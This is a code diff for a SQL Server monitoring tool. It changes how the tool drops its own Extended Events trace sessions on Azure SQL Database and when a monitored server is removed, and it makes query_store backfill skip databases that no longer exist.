+    /// Replaces what the read-only-intent ensure's <see cref="LongQueryTraceStep.Check"/> reads on the replica, with
+    /// <see cref="LongQueryTraceStepOverrideForTests"/> set (#4961): called with the server and the database, answers whether the
+    /// session's definition is visible and whether it runs there. Unset, the stand-in finds neither, as in a database that has
+    /// never had the session. Null in production.
+    /// </summary>
+    internal Func<ServerConnection, string, LongQueryTraceReplicaState>? LongQueryTraceReplicaStateForTests { get; set; }
+
+    /// <summary>
+    /// What the last reconcile that finished applied for this server: true for on, false for off, null when no
+    /// reconcile has finished since the app started.
+    /// </summary>
+    internal bool? LongQueryTraceAppliedState(string serverId) =>
+        _longQueryTraceApplied.TryGetValue(serverId, out var applied) ? applied.Enabled : null;
+
+    /// <summary>
+    /// Replaces the clock the long-query trace's hourly attempts after the cap read (<see cref="LongQueryTraceDropRetry"/>).
+    /// Null in production.
+    /// </summary>
+    internal Func<DateTime>? LongQueryTraceUtcNowForTests { get; set; }
+
+    /// <summary>True when the last reconcile that finished applied this enabled state under this state key.</summary>
+    private bool IsLongQueryTraceApplied(string serverId, bool enabled, string stateKey) =>
+        _longQueryTraceApplied.TryGetValue(serverId, out var applied)
+        && applied.Enabled == enabled
+        && string.Equals(applied.StateKey, stateKey, StringComparison.Ordinal);
+
+    /// <summary>
+    /// Records a reconcile that finished. The failed-pass count starts again only where a cleanup pass ran and
+    /// succeeded, so a cycle that skips the cleanup keeps the hourly attempt after the cap.
+    /// </summary>
+    private void MarkLongQueryTraceApplied(string serverId, bool enabled, string stateKey) =>
+        _longQueryTraceApplied[serverId] = (enabled, stateKey);
 
-            foreach (var databaseName in databases)
+    /// <summary>
+    /// The databases monitored as their own servers, for this Azure SQL Database registration: the same list the
+    /// blocking and deadlock alerts skip (<see cref="KnownEngineEditions.SeparatelyMonitoredDatabases(bool, ServerConnection, IEnumerable{ServerConnection})"/>).
+    /// Empty unless the registration is of the logical server.
+    /// </summary>
+    private IReadOnlyList<string> SeparatelyMonitoredDatabasesFor(ServerConnection server) =>
+        KnownEngineEditions.SeparatelyMonitoredDatabases(isAzureSqlDatabase: true, server, _serverManager.GetAllServers());
+
+    /// <summary>
+    /// The registrations of this server's logical server, for <see cref="LongQueryTraceDatabases.KeptElsewhere"/>: each
+    /// configured server with the same server name, with whether its long-query trace is on and its exclusions. Lite
+    /// has no database scope, so none is given.
+    /// </summary>
+    private List<LongQueryTraceRegistration> LongQueryTraceRegistrationsFor(ServerConnection server)
+    {
+        var hostKey = server.ServerName.Trim();
+        return _serverManager.GetAllServers()
+            .Where(other => string.Equals(other.ServerName.Trim(), hostKey, StringComparison.OrdinalIgnoreCase))
+            .Select(other => new LongQueryTraceRegistration(
+                other.Id,
+                other.ServerName,
+                other.DatabaseName,
+                other.IsEnabled,
+                TraceOn: _scheduleManager.GetScheduleForServer(other.Id, "long_query_completions")?.Enabled ?? false,
+                other.ExcludedDatabases.ToList(),
+                DatabaseScope: null))
+            .ToList();
+    }
+
+    /// <summary>
+    /// The per-database read's list without the databases monitored as their own servers, for a collector whose read
+    /// skips them (<see cref="ICollectorDefinition{TRow}.SkipsSeparatelyMonitoredDatabases"/>). Called only on the
+    /// Azure SQL Database per-database path.
+    /// </summary>
+    private List<string> WithoutSeparatelyMonitoredDatabases(ServerConnection server, List<string> databases) =>
+        AzureSweepScope.WithoutSeparatelyMonitored(databases, SeparatelyMonitoredDatabasesFor(server));
+
+    /// <summary>
+    /// Every online database, with no exclusions, for a drop. A failure to list them throws
+    /// <see cref="LongQueryTraceDropException"/> with no names, so the reconcile retries it like a failed drop.
+    /// </summary>
+    private async Task<List<string>> ListEveryLongQueryTraceDatabaseAsync(ServerConnection server, CancellationToken cancellationToken)
+    {
+        try
+        {
+            return await ListLongQueryTraceDatabasesAsync(server, allDatabases: true, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            throw new LongQueryTraceDropException(Array.Empty<string>(), ex);
+        }
+    }
+
+    /// <summary>
+    /// Trace ON on Azure SQL Database: drops the session from each listed database outside the monitored set,
+    /// except a database monitored as its own server or one where another registration keeps the session.
+    /// </summary>
+    private async Task DropLongQueryTraceOutsideTheSetAsync(
+        ServerConnection server,
+        string sessionName,
+        IReadOnlyList<string> monitored,
+        IReadOnlyList<string> separatelyMonitored,
+        Func<IEnumerable<string>, IReadOnlyList<string>> keptElsewhere,
+        bool afterTheCap,
+        LongQueryReconcilePass pass,
+        CancellationToken cancellationToken)
+    {
+        var listed = await pass.ListedAsync();
+        var plan = LongQueryTraceDatabases.Plan(enabled: true, listed, monitored, separatelyMonitored, keptElsewhere(listed));
+        try
+        {
+            await DropLongQueryTraceInEachAsync(server, sessionName, plan.Drop, afterTheCap, cancellationToken);
+        }
+        catch (LongQueryTraceDropException own) when (pass.LegacyFailure is not null)
+        {
+            throw MergeLongQueryTraceDropFailures(pass.LegacyFailure, own);
+        }
+    }
+
+    /// <summary>
+    /// Drops the session in each database, tries every one, and logs a warning that names each database where the
+    /// drop failed (<see cref="LongQueryTraceDatabases.DropEachAsync"/>). The hourly attempt after the cap logs it at
+    /// Debug instead, so the cap's one warning is not repeated.
+    /// </summary>
+    private Task DropLongQueryTraceInEachAsync(ServerConnection server, string sessionName, IReadOnlyList<string> databases, bool afterTheCap, CancellationToken cancellationToken) =>
+        LongQueryTraceDatabases.DropEachAsync(
+            databases,
+            (databaseName, token) => DropLongQueryTraceInDatabaseAsync(server, sessionName, databaseName, token),
+            (databaseName, ex) =>
             {
-                cancellationToken.ThrowIfCancellationRequested();
+                var line = $"[{server.DisplayName}] [{databaseName}] Could not drop the long-query completion XE session: {ex.Message}";
+                if (afterTheCap)
+                {
+                    AppLogger.Debug("XeSession", line);
+                }
+                else
+                {
+                    AppLogger.Warn("XeSession", line);
+                }
+            },
+            createNote: null,
+            cancellationToken);
+
+    /// <summary>
+    /// The databases the long-query trace works in on Azure SQL Database. With <paramref name="allDatabases"/>, every
+    /// online database with no exclusions; otherwise the monitored ones. A registration that names a database gets
+    /// that database either way.
+    /// </summary>
+    private async Task<List<string>> ListLongQueryTraceDatabasesAsync(ServerConnection server, bool allDatabases, CancellationToken cancellationToken) =>
+        LongQueryTraceListOverrideForTests is { } listOverride
+            ? await listOverride(server, allDatabases, cancellationToken)
+            : await GetAzureDatabaseListAsync(server, applyExclusions: !allDatabases, cancellationToken);
 
-                if (string.Equals(databaseName, "master", StringComparison.OrdinalIgnoreCase))
+    /// <summary>Drops the long-query trace's database-scoped session in one Azure SQL Database database.</summary>
+    private async Task DropLongQueryTraceInDatabaseAsync(ServerConnection server, string sessionName, string databaseName, CancellationToken cancellationToken)
+    {
+        if (LongQueryTraceDatabaseOverrideForTests is { } dropInDatabase)
+        {
+            await dropInDatabase(server, databaseName, false, sessionName, cancellationToken);
+            return;
+        }
+
+        /* #4961: a registration with read-only intent stops the session over its own connection, then drops it over one
+           without the intent. Every other registration takes one drop. On Hyperscale with several high-availability replicas the
+           stop reaches only the replica the connection lands on (see the stop step in DropAzureSessionInDatabaseAsync). */
+        await DropAzureSessionInDatabaseAsync(server, databaseName, sessionName, cancellationToken);
+    }
+
+    /// <summary>How long a server's removal waits for the drop of its long-query session, for the whole step (#4961).</summary>
+    internal static readonly TimeSpan LongQueryTraceRemovalTimeout = TimeSpan.FromSeconds(15);
+
+    /* #4961: the servers whose removal has begun, by connection id. The reconcile runs on the collection loop's own timer
+       while the removal waits for its drop, and with the trace on it creates the session again on every cycle, so a
+       server in here is left alone: a session created after the drop would outlive the server. A re-added server has a new
+       connection id, so it is not held back. */
+    private readonly ConcurrentDictionary<string, bool> _longQueryTraceRemoved = new();
+
+    /// <summary>
+    /// A server's removal drops this install's long-query session (#4961), so a server that is no longer monitored does not
+    /// keep tracing: the trace-off drop, once, for the server's own session. On Azure SQL Database that is each listed
+    /// database but master, and one that another registration keeps; elsewhere the server's own session, unless another
+    /// registration of this install keeps it on the same instance. A removed server cannot be checked later, so a name that
+    /// is not known leaves the session in place when another registration could keep it, and says why. Nothing is opened
+    /// for a server whose last finished reconcile dropped the session. One attempt, and every failure, timeout included,
+    /// is logged and returned: it never stops the removal.
+    /// </summary>
+    public async Task DropLongQueryTraceOfRemovedServerAsync(ServerConnection server, CancellationToken cancellationToken)
+    {
+        _longQueryTraceRemoved[server.Id] = true;
+
+        await DropLongQuerySessionOfRemovedServerAsync(server, cancellationToken);
+        await DropAlwaysOnOwnSessionsOfRemovedServerAsync(server, cancellationToken);
+    }
+
+    /// <summary>
+    /// The deadlock and blocked-process sessions this install chose for itself in the removed server's Azure SQL Database
+    /// databases (<see cref="AlwaysOnXeChoices.OwnDatabases"/>, #4961): each is dropped, by this install's own name, unless
+    /// another registration of this install on the same logical server reads its own session in that database. The shared
+    /// session is never dropped. One
+    /// attempt, every failure logged and returned. The server's choices are forgotten either way.
+    /// </summary>
+    internal async Task DropAlwaysOnOwnSessionsOfRemovedServerAsync(ServerConnection server, CancellationToken cancellationToken)
+    {
+        try
+        {
+            /* A database of the same name on another logical server is another database, so only a registration of this
+               server's own logical server can hold one back: the same host, ignoring case and padding, then the database. */
+            var hostKey = server.ServerName.Trim();
+            var others = _serverManager.GetAllServers()
+                .Where(other => other.Id != server.Id && string.Equals(other.ServerName.Trim(), hostKey, StringComparison.OrdinalIgnoreCase))
+                .Select(other => other.Id)
+                .ToList();
+            foreach (var kind in new[] { AlwaysOnXeSessionKind.Deadlock, AlwaysOnXeSessionKind.BlockedProcess })
+            {
+                var ownName = AlwaysOnOwnSessionName(kind);
+                if (ownName is null)
                 {
                     continue;
                 }
 
-                try
+                var keptByOthers = new HashSet<string>(others.SelectMany(id => _alwaysOnChoices.OwnDatabases(id, kind)), StringComparer.OrdinalIgnoreCase);
+                foreach (var databaseName in _alwaysOnChoices.OwnDatabases(server.Id, kind).Where(database => !keptByOthers.Contains(database)))
                 {
-                    using var connection = await OpenAzureDatabaseConnectionAsync(server, databaseName, cancellationToken);
-                    using var dropCmd = new SqlCommand(LongQueryCompletionsCollector.BuildDropSessionSql(databaseScoped: true), connection);
-                    dropCmd.CommandTimeout = CommandTimeoutSeconds;
-                    await dropCmd.ExecuteNonQueryAsync(cancellationToken);
+                    try
+                    {
+                        SqlConnection? connection = null;
+                        IAlwaysOnXeDatabase? database = null;
+                        try
+                        {
+                            database = await OpenAlwaysOnXeDatabaseAsync(server, databaseName, c => connection = c, cancellationToken);
+
+                            /* #4961: for a registration with read-only intent, stopped over its own connection when it runs
+                               there, then dropped over a connection without the intent. */
+                            await AlwaysOnXeAzureEnsure.DropOwnSessionAsync(database, kind, ownName, cancellationToken);
+                        }
+                        finally
+                        {
+                            (database as IDisposable)?.Dispose();
+                            connection?.Dispose();
+                        }
+                    }
+                    catch (Exception ex) when (ex is not OperationCanceledException)
+                    {
+                        AppLogger.Warn("XeSession", $"[{server.DisplayName}] [{databaseName}] Could not drop this install's {kind} XE session of the removed server; it may remain in the database: {ex.Message}");
+                    }
                 }
-                catch (Exception ex) when (ex is not OperationCanceledException)
+            }
+        }
+        catch (OperationCanceledException)
+        {
+            AppLogger.Warn("XeSession", $"[{server.DisplayName}] The deadlock and blocked-process XE sessions of the removed server were not all dropped within {LongQueryTraceRemovalTimeout.TotalSeconds:0} seconds; some may remain on the server");
+        }
+        finally
+        {
+            _alwaysOnChoices.Forget(server.Id);
+            ForgetAlwaysOnReadOnlyRefusals(server.Id);
+        }
+    }
+
+    private async Task DropLongQuerySessionOfRemovedServerAsync(ServerConnection server, CancellationToken cancellationToken)
+    {
+        try
+        {
+            /* No install id, no session of this install's to drop. */
+            var sessionName = LongQuerySessionName();
+            if (sessionName is null || LongQueryTraceAppliedState(server.Id) == false)
+            {
+                return;
+            }
+
+            var isAzureSqlDatabase = _engineEditions.IsAzureSqlDatabase(server, _serverManager.GetConnectionStatus(server.Id).SqlEngineEdition);
+            if (!isAzureSqlDatabase)
+            {
+                var skipReason = (await LongQueryTraceInstanceGuardFor(server, cancellationToken)).RemovalSkipReason();
+                if (skipReason is not null)
                 {
-                    AppLogger.Debug("XeSession", $"[{server.DisplayName}] [{databaseName}] Could not drop the long-query completion XE session: {ex.Message}");
+                    AppLogger.Info("XeSession", $"[{server.DisplayName}] The long-query trace session was left in place on removal: {skipReason}.");
+                    return;
                 }
             }
 
-            return;
+            /* The registrations that remain: this one neither keeps a session nor leaves a database to its own registration
+               once it is gone. Its own id is never another registration's. */
+            var registrations = isAzureSqlDatabase ? LongQueryTraceRegistrationsFor(server) : new List<LongQueryTraceRegistration>();
+            var remaining = _serverManager.GetAllServers().Where(other => other.Id != server.Id);
+            var serverSeparatelyMonitored = isAzureSqlDatabase
+                ? KnownEngineEditions.SeparatelyMonitoredDatabasesOnServer(server.ServerName, remaining)
+                : Array.Empty<string>();
+            var separatelyMonitored = isAzureSqlDatabase ? SeparatelyMonitoredDatabasesFor(server) : Array.Empty<string>();
+
+            await DropLongQueryCompletionsXeSessionAsync(
+                server,
+                sessionName,
+                isAzureSqlDatabase,
+                separatelyMonitored,
+                candidates => LongQueryTraceDatabases.KeptElsewhere(server.Id, server.ServerName, candidates, registrations, serverSeparatelyMonitored),
+                afterTheCap: false,
+                /* The session earlier versions shared between installs is not the removal's: its own step stays off. */
+                new LongQueryReconcilePass(legacyDue: false, () => ListEveryLongQueryTraceDatabaseAsync(server, cancellationToken)),
+                cancellationToken,
+                ofARemovedServer: true);
+
+            AppLogger.Info("XeSession", $"[{server.DisplayName}] Dropped the long-query trace session of the removed server");
+        }
+        catch (OperationCanceledException)
+        {
+            AppLogger.Warn("XeSession", $"[{server.DisplayName}] The long-query trace session of the removed server was not dropped within {LongQueryTraceRemovalTimeout.TotalSeconds:0} seconds; it may remain on the server");
         }
+        catch (Exception ex)
+        {
+            AppLogger.Warn("XeSession", $"[{server.DisplayName}] Could not drop the long-query trace session of the removed server; it may remain on the server: {ex.Message}");
+        }
+    }
 
-        using var conn = await CreateConnectionAsync(server, cancellationToken);
-        using var cmd = new SqlCommand(LongQueryCompletionsCollector.BuildDropSessionSql(databaseScoped: false), conn);
-        cmd.CommandTimeout = CommandTimeoutSeconds;
-        await cmd.ExecuteNonQueryAsync(cancellationToken);
-        AppLogger.Info("XeSession", $"[{server.DisplayName}] Long-query completion XE session reconciled OFF (collector disabled)");
+    /// <summary>
+    /// #4961: where the session is the server's own (every engine but Azure SQL Database), this registration's last-known
+    /// <c>@@SERVERNAME</c> beside the other registrations of this install that are monitored with their trace on
+    /// (<see cref="LongQueryTraceInstanceGuard"/>). Their trace setting is the effective one, their own override or else the
+    /// install's default. The names come from the identity row a wait_stats or cpu_utilization run persisted, and are read
+    /// only when another registration could keep the session, so an install with no other trace on reads none.
+    /// </summary>
+    private async Task<LongQueryTraceInstanceGuard> LongQueryTraceInstanceGuardFor(ServerConnection server, CancellationToken cancellationToken)
+    {
+        var candidates = _serverManager.GetAllServers()
+            .Where(other => other.Id != server.Id
+                && other.IsEnabled
+                && (_scheduleManager.GetScheduleForServer(other.Id, "long_query_completions")?.Enabled ?? false))
+            .ToList();
+        if (candidates.Count == 0)
+        {
+            return LongQueryTraceInstanceGuard.NoKeepers;
+        }
+
+        var ownName = await LastKnownInstanceNameAsync(server, cancellationToken);
+        var keepers = new List<LongQueryTraceInstance>(candidates.Count);
+        foreach (var other in candidates)
+        {
+            /* With no name of its own, this registration matches nothing, so the others' names are not read. */
+            var name = ownName is null ? null : await LastKnownInstanceNameAsync(other, cancellationToken);
+            keepers.Add(new LongQueryTraceInstance(Enabled: true, TraceOn: true, name));
+        }
+
+        return new LongQueryTraceInstanceGuard(ownName, keepers);
+    }
+
+    private Task<string?> LastKnownInstanceNameAsync(ServerConnection server, CancellationToken cancellationToken)
+    {
+        var serverId = GetServerId(server);
+        return ServerEpoch.LastKnownNameAsync(carrier => GetCollectorStateAsync(serverId, carrier, cancellationToken));
     }
 
     /// <summary>
@@ -277,6 +1369,14 @@ private async Task<int> CollectLongQueryCompletionsAsync(ServerConnection server
     {
         if (_longQueryTraceFault.TryGetValue(server.Id, out var ensureFailure))
         {
+            /* #4964: this run's lines for the failure follow the create's: the first run to rethrow it logs them at their
+               levels, and the runs after it, until the create succeeds or the trace is turned off, log them at Debug. The
+               decision is made here, once per run, by the add that only the first run wins, and goes to RunCollectorAsync
+               on the run's own telemetry. The stored exception is not touched: it is the one the reconcile threw, shared
+               by every reader, and the run still rethrows it as it is, so the type, the message and the classification
+               are the same on every run. */
+            TelemetryFor(GetServerId(server)).TraceFaultRepeatsAtDebug = !_longQueryTraceFaultLogged.TryAdd(server.Id, true);
+
             /* The original exception, with its original stack: RunCollectorAsync classifies an
                XeSessionEnsureException on its inner SqlException's number (PERMISSIONS / ERROR) and anything
                else through its general arms, so the type has to survive - a message alone would land every
diff --git a/Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs b/Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs
index e12efb188c..07ebcc6f16 100644
--- a/Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs
+++ b/Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs
@@ -10,6 +10,7 @@
 using System.Collections.Concurrent;
 using System.Collections.Generic;
 using System.Globalization;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Data.SqlClient;
@@ -273,6 +274,19 @@ internal async Task<bool> RunQueryStoreBackfillSliceAsync(ServerConnection serve
            a hole key already names (state is loaded above, for free). */
         var databases = await GetBackfillCandidateDatabasesAsync(serverId, floorLimit, state, cancellationToken, server.DisplayName);
 
+        /* #5483, the twin of Darling's: a database the server no longer has is not a candidate. The list above is read
+           from the rows this store holds, so a dropped database stayed in it until its rows aged out of the horizon,
+           and every tick tried it and failed. Gated on the same AppliesTo that decides whether database_states is
+           collected at all: Azure SQL DB has no snapshot by design, so the read would be a guaranteed no-op. */
+        if (DatabaseStateCollector.Instance.AppliesTo(target))
+        {
+            /* The server's effective database_states interval (its own override or the default) sets how old a snapshot
+               may be before the check ignores it. */
+            var databaseStatesInterval = _scheduleManager.GetScheduleForServer(server.Id, DatabaseStateCollector.Instance.Name)?.FrequencyMinutes ?? 0;
+            databases = await DropGoneBackfillDatabasesAsync(
+                serverId, databases, floorLimit, cancellationToken, server.DisplayName, databaseStatesInterval);
+        }
+
         /* Databases whose slices keep failing: their slice is held back while any other database has work
            (see QueryStoreBackfillFailureLedger), then one of them is retried after the walk. */
         List<(string Database, DateTime Floor, DateTime Ceiling, bool IsHole)>? skipped = null;
@@ -614,6 +628,158 @@ internal async Task<List<string>> GetBackfillCandidateDatabasesAsync(
         return QueryStoreBackfillState.MergeHoleDatabases(databases, state);
     }
 
+    /// <summary>#5483: databases already reported as gone, per (server, database), so the Information line below is
+    /// one per database per run of the app rather than one per tick. In memory on purpose, like the ledgers.
+    /// Trimmed each tick to the names still in the candidate list (see <see cref="DropGoneBackfillDatabasesAsync"/>),
+    /// so it never outgrows the candidates.</summary>
+    private readonly ConcurrentDictionary<(int ServerId, string Database), byte> _goneReported = new();
+
+    /// <summary>#5483: failed gone-database checks, one Warning per run of failures like the other backfill reads.
+    /// Its own instance, because the candidate read ends ITS run on every success and would otherwise end this
+    /// one too, warning every tick.</summary>
+    private readonly QueryStoreBackfillReadFailureRuns _goneCheckFailures = new();
+
+    /// <summary>How many databases the server's gone-report set holds. For the tests that pin the trim.</summary>
+    internal int GoneReportedCountForTests(int serverId) => _goneReported.Keys.Count(key => key.ServerId == serverId);
+
+    /// <summary>
+    /// #5483: removes from <paramref name="candidates"/> every database the server no longer has — the twin of
+    /// Darling's <c>QueryStoreBackfill.DropGoneDatabasesAsync</c>, the same rule on the same shared SQL text
+    /// (<see cref="QueryStoreBackfillState.NewestSnapshotSql"/>, <see cref="QueryStoreBackfillState.RowAtOrAfterSnapshotSql"/>).
+    ///
+    /// <para>The candidate list is read from the rows this store holds (<see cref="CandidateSql"/>), plus any database
+    /// a hole key names, so a database dropped from the server stayed in it until its last row aged past the
+    /// horizon, and every tick read its stored floor, opened a slice and failed with "database does not exist". The
+    /// <c>collector_state</c> keys were never the cause: a failed slice writes none, and the orphan prune retires a
+    /// dropped database's <c>done:</c> and <c>hole:</c> keys, but the candidate list does not read them.</para>
+    ///
+    /// <para>A candidate is gone when the newest <c>database_states</c> snapshot does not name it AND the store holds no
+    /// row for it at or after that snapshot (the prune's freshness guard: a snapshot cannot judge a database created
+    /// after it was taken). No snapshot, or one with no database names, drops nothing. A snapshot older than three
+    /// times <paramref name="databaseStatesIntervalMinutes"/> (floor one hour,
+    /// <see cref="QueryStoreBackfillState.IsSnapshotStale"/>) is unknown too: it still names a database dropped after
+    /// it, and each probe for a database it misses would scan every chunk since it, every tick. A failed read keeps
+    /// every candidate and logs one Warning for each run of failures, the rest at Debug. A database found gone
+    /// forgets its in-memory failure counts.</para>
+    /// </summary>
+    internal async Task<List<string>> DropGoneBackfillDatabasesAsync(
+        int serverId, List<string> candidates, DateTime floorLimit, CancellationToken cancellationToken, string? serverLabel = null,
+        int databaseStatesIntervalMinutes = 0)
+    {
+        /* Entries for databases that left the candidate list (their rows aged out) can never be reported again, so
+           they go now, before any early return below. */
+        var candidateSet = new HashSet<string>(candidates, StringComparer.Ordinal);
+        foreach (var key in _goneReported.Keys)
+        {
+            if (key.ServerId == serverId && !candidateSet.Contains(key.Database))
+            {
+                _goneReported.TryRemove(key, out _);
+            }
+        }
+
+        if (candidates.Count == 0)
+        {
+            return candidates;
+        }
+
+        try
+        {
+            /* The backfill runs outside the collection gate, so its reads take the read lock (see the slice's write). */
+            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
+            using var conn = _duckDb.CreateConnection();
+            await conn.OpenAsync(cancellationToken);
+
+            var snapshotDatabases = new HashSet<string>(StringComparer.Ordinal);
+            DateTime? newest = null;
+            using (var snapshot = conn.CreateCommand())
+            {
+                snapshot.CommandText = QueryStoreBackfillState.NewestSnapshotSql;
+                snapshot.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                snapshot.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = floorLimit });
+                using var reader = await snapshot.ExecuteReaderAsync(cancellationToken);
+                while (await reader.ReadAsync(cancellationToken))
+                {
+                    newest = reader.GetDateTime(1);
+                    if (!reader.IsDBNull(0))
+                    {
+                        snapshotDatabases.Add(reader.GetString(0));
+                    }
+                }
+            }
+
+            var result = candidates;
+            if (newest is DateTime snapshotTime
+                && snapshotDatabases.Count > 0
+                && !QueryStoreBackfillState.IsSnapshotStale(snapshotTime, DateTime.UtcNow, databaseStatesIntervalMinutes))
+            {
+                var absent = QueryStoreBackfillState.AbsentFromSnapshot(candidates, snapshotDatabases);
+                foreach (var candidate in candidates)
+                {
+                    if (snapshotDatabases.Contains(candidate))
+                    {
+                        _goneReported.TryRemove((serverId, candidate), out _);
+                    }
+                }
+
+                var gone = new HashSet<string>(StringComparer.Ordinal);
+                foreach (var database in absent)
+                {
+                    using var newer = conn.CreateCommand();
+                    newer.CommandText = QueryStoreBackfillState.RowAtOrAfterSnapshotSql;
+                    newer.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                    newer.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = database });
+                    newer.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = snapshotTime });
+                    if (await newer.ExecuteScalarAsync(cancellationToken) is null)
+                    {
+                        gone.Add(database);
+                        if (_goneReported.TryAdd((serverId, database), 0))
+                        {
+                            _sliceFailures.RecordCompletion(serverId, database);
+                            _readFailures.RecordSuccess(serverId, database);
+                            /* "Not in the newest list", not "gone from the server": the snapshot is stamped at the
+                               start of its run, and a database created between the stamp and the read, whose first
+                               query_store rows carry an earlier stamp, is skipped for one snapshot cycle. It has no
+                               history to backfill yet, so nothing is lost. */
+                            _logger?.LogInformation(
+                                "query_store backfill on '{Server}' [{Database}]: not in the newest database_states snapshot and no stored row since; not backfilling it until a snapshot lists it.",
+                                serverLabel ?? serverId.ToString(CultureInfo.InvariantCulture), database);
+                        }
+                    }
+                    else
+                    {
+                        _goneReported.TryRemove((serverId, database), out _);
+                    }
+                }
+
+                if (gone.Count > 0)
+                {
+                    result = candidates.FindAll(database => !gone.Contains(database));
+                }
+            }
+
+            _goneCheckFailures.RecordSuccess(serverId);
+            return result;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            /* A failed check keeps every candidate, so a persistent failure brings the original bug back with nothing
+               saying so. One Warning at the first failure of a run; the repeats stay at Debug. */
+            if (_goneCheckFailures.RecordFailure(serverId))
+            {
+                _logger?.LogWarning(
+                    ex,
+                    "query_store backfill on '{Server}': checking which databases are gone failed, so every candidate is tried until a check succeeds. Further failures are logged at debug level.",
+                    serverLabel ?? serverId.ToString(CultureInfo.InvariantCulture));
+            }
+            else
+            {
+                _logger?.LogDebug(ex, "query_store backfill gone-database check failed; keeping every candidate this tick");
+            }
+
+            return candidates;
+        }
+    }
+
     /// <summary>The derived backfill ceiling for one database, the mirror of
     /// <see cref="GetLastCollectedTimeForDatabaseAsync"/>. Null skips this tick; failure never invents
     /// a boundary. #4197: the twin of Darling's exact bounded form — see
@@ -626,34 +792,50 @@ internal async Task<List<string>> GetBackfillCandidateDatabasesAsync(
     {
         try
         {
-            /* The backfill runs outside the collection gate, so its reads take the read lock (see the slice's write). */
-            using var readLock = _duckDb.AcquireReadLock(cancellationToken);
-            using var conn = _duckDb.CreateConnection();
-            await conn.OpenAsync(cancellationToken);
-
+            /* The backfill runs outside the collection gate, so its reads take the read lock (see the slice's write).
+               #5377: each live read holds it in a scope that ends before the archive read, which takes the
+               limiter first and then its own lock, so a read that waits for the limiter holds no lock. */
             bool liveHit;
-            using (var exists = conn.CreateCommand())
+            DateTime? liveMin = null;
+            using (var readLock = _duckDb.AcquireReadLock(cancellationToken))
             {
+                using var conn = _duckDb.CreateConnection();
+                await conn.OpenAsync(cancellationToken);
+                using var exists = conn.CreateCommand();
                 exists.CommandText = $"SELECT 1 FROM {tableName} WHERE server_id = $1 AND {databaseColumnName} = $2 AND collection_time <= $3 LIMIT 1";
                 exists.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
                 exists.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = databaseName });
                 exists.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = floorLimit });
                 liveHit = await exists.ExecuteScalarAsync(cancellationToken) is not null;
+
+                /* #5377 (review F1): the live MIN is read HERE, before the archive read, whether or not the archive
+                   turns out to need it. The two reads are no longer under one lock, and the combination is exact only
+                   in this order: a hot row that moves to Parquet after this scope bumps the archive generation before
+                   the archive read samples it, so the view is re-read and holds the row. Reading the live MIN after the
+                   archive read missed a row that moved in between (the floor came out too high). */
+                if (!liveHit)
+                {
+                    using var min = conn.CreateCommand();
+                    min.CommandText = $"SELECT MIN({columnName}) FROM {tableName} WHERE server_id = $1 AND {databaseColumnName} = $2 AND collection_time > $3";
+                    min.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
+                    min.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = databaseName });
+                    min.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = floorLimit });
+                    if (await min.ExecuteScalarAsync(cancellationToken) is DateTime dt)
+                        liveMin = dt;
+                }
             }
 
-            /* The archive side, cached per archive generation under a key with no limit in it: the oldest
-               collection_time and the oldest value over the whole archived history for this database. A row
-               at or before the limit exists exactly when that oldest collection_time is <= the limit; and when
-               none does, every archived row is newer than the limit, so the unbounded oldest value IS the
-               bounded one. Live and archive combine as the lesser value / the OR of the two probes. */
-            var archivedRow = await ReadArchiveViewAsync(conn,
-                $"floor|{tableName}|{columnName}|{databaseColumnName}|{serverId}|{databaseName}",
-                $"SELECT MIN(collection_time), MIN({columnName}) FROM v_{tableName} WHERE server_id = $1 AND {databaseColumnName} = $2",
-                [serverId, databaseName], cancellationToken,
-                readRow: reader => (reader.IsDBNull(0) ? (DateTime?)null : reader.GetDateTime(0),
-                                    reader.IsDBNull(1) ? (DateTime?)null : reader.GetDateTime(1)));
-            var (archivedOldestCollection, archivedMin) =
-                archivedRow is ValueTuple<DateTime?, DateTime?> archivedPair ? archivedPair : (null, null);
+            /* The archive side (#5377 grouped): the oldest collection_time and the oldest value over the whole archived
+               history for this database come out of the SAME per-table grouped read the watermark map uses (same table,
+               value column and database column), so the backfill shares its cache and single flight and costs no
+               per-database scan. A database the archive does not hold is absent from the map: null, null, as the old
+               per-database read returned. A row at or before the limit exists exactly when the oldest collection_time
+               is <= the limit; when none does, every archived row is newer than the limit, so the unbounded oldest value
+               IS the bounded one. Live and archive combine as the lesser value / the OR of the two probes. */
+            var map = await ReadArchivedDatabaseMapAsync(tableName, columnName, databaseColumnName, cancellationToken);
+            map.TryGetValue((serverId, databaseName), out var archivedEntry);
+            var archivedOldestCollection = archivedEntry.OldestCollection;
+            var archivedMin = archivedEntry.OldestValue;
 
             if (liveHit || archivedOldestCollection <= floorLimit)
             {
@@ -661,17 +843,6 @@ bounded one. Live and archive combine as the lesser value / the OR of the two pr
                 return floorLimit;
             }
 
-            DateTime? liveMin = null;
-            using (var min = conn.CreateCommand())
-            {
-                min.CommandText = $"SELECT MIN({columnName}) FROM {tableName} WHERE server_id = $1 AND {databaseColumnName} = $2 AND collection_time > $3";
-                min.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = serverId });
-                min.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = databaseName });
-                min.Parameters.Add(new DuckDB.NET.Data.DuckDBParameter { Value = floorLimit });
-                if (await min.ExecuteScalarAsync(cancellationToken) is DateTime dt)
-                    liveMin = dt;
-            }
-
             _readFailures.RecordSuccess(serverId, databaseName);
